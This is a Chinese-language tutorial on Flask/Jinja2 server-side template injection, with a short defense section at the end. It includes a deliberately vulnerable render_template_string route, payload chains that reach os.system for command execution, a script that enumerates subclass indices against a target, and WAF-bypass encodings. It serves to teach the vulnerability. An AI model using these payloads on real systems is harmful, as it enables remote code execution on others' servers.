别再死记硬背Payload了!用这3个真实案例,带你彻底搞懂Flask SSTI的底层原理
从零构建Flask SSTI漏洞认知体系:3个实验解密魔术方法攻击链
很多安全工程师能熟练使用{{ ''.__class__.__base__.__subclasses__()[X] }}这样的Payload,却说不清为什么__class__能获取类对象。这种知其然不知其所以然的状态,在面对WAF规则变化时就会束手无策。本文将用三个渐进式实验,带你从Python对象模型出发,真正理解SSTI漏洞的底层逻辑。
1. Python对象模型基础实验
在理解SSTI之前,我们需要先建立两个关键认知:
- Python中万物皆对象:数字、字符串、函数、类等都是对象
- 魔术方法是对象的内置属性:以双下划线开头结尾的方法具有特殊功能
让我们在Python REPL中做个简单实验:
>>> s = "Hello" >>> dir(s) # 查看字符串对象的所有属性 ['__add__', '__class__', '__contains__', ..., 'upper'] >>> s.__class__ # 获取对象的类 <class 'str'> >>> str.__base__ # 获取类的父类 <class 'object'>关键发现:
__class__指向对象所属的类__base__指向类的父类__subclasses__()返回类的所有子类
这个特性本用于实现面向对象编程的继承体系,但攻击者可以将其组合成对象属性遍历链。
2. Flask模板引擎沙箱逃逸实验
Flask使用Jinja2模板引擎时,会创建一个沙箱环境限制模板中的Python功能。但通过魔术方法,我们可以突破这些限制:
from flask import Flask, render_template_string app = Flask(__name__) @app.route('/vuln/<input>') def vulnerable(input): return render_template_string(f"Hello {input}!") if __name__ == '__main__': app.run()访问/vuln/{{7*7}}会输出Hello 49!,证明模板引擎执行了计算。但直接调用os.system()会被阻止。这时就需要利用魔术方法链:
{{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id') }}攻击链解析:
- 从空字符串对象出发,通过
__class__获取str类 - 通过
__base__找到object基类 - 用
__subclasses__()列出所有子类 - 找到包含os模块的子类(如warnings.catch_warnings)
- 通过
__globals__获取模块全局变量 - 调用system函数执行命令
3. 动态定位危险子类实验
不同Python环境下子类索引号(X)会变化,我们需要动态定位危险子类。以下是自动化探测脚本的核心逻辑:
import requests TARGET = "http://victim.com/vuln/" # 常见危险模块特征 DANGEROUS = [ 'os._wrap_close', 'warnings.catch_warnings', '_frozen_importlib.BuiltinImporter' ] for i in range(500): payload = f"{{{{ ''.__class__.__base__.__subclasses__()[{i}].__name__ }}}}" r = requests.get(TARGET + payload) for module in DANGEROUS: if module in r.text: print(f"发现危险子类: {module} 索引号: {i}") break实际应用案例: 假设发现warnings.catch_warnings在索引号133,则可构造:
{{ ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['os'].popen('whoami').read() }}4. 高级绕过技术实战
现代WAF会检测常见Payload特征,我们需要更巧妙的绕过方式:
字符串拼接绕过关键字过滤
{% set a='__cla' %}{% set b='ss__' %}{{ ()[a~b] }}属性访问替代方案
当点号被过滤时:
{{ ()["__class__"]["__base__"] }}或使用attr过滤器:
{{ ()|attr("__class__") }}十六进制编码绕过
{{ ""["\x5f\x5fclass\x5f\x5f"] }}无参数函数调用技巧
{{ request.__class__.__mro__[1].__subclasses__()[X] }}防御方案设计要点
- 输入过滤:禁止用户输入双花括号等特殊字符
- 沙箱强化:使用Jinja2的SandboxedEnvironment
- 最小权限:模板引擎运行在低权限账户下
- 静态检测:CI/CD流程中加入SSTI扫描
- 动态监控:日志审计异常模板渲染行为
理解这些原理后,你不仅能灵活应对各种过滤场景,还能更准确地评估系统的真实风险。记住,真正危险的从来不是Payload本身,而是系统设计中对用户输入的无条件信任。
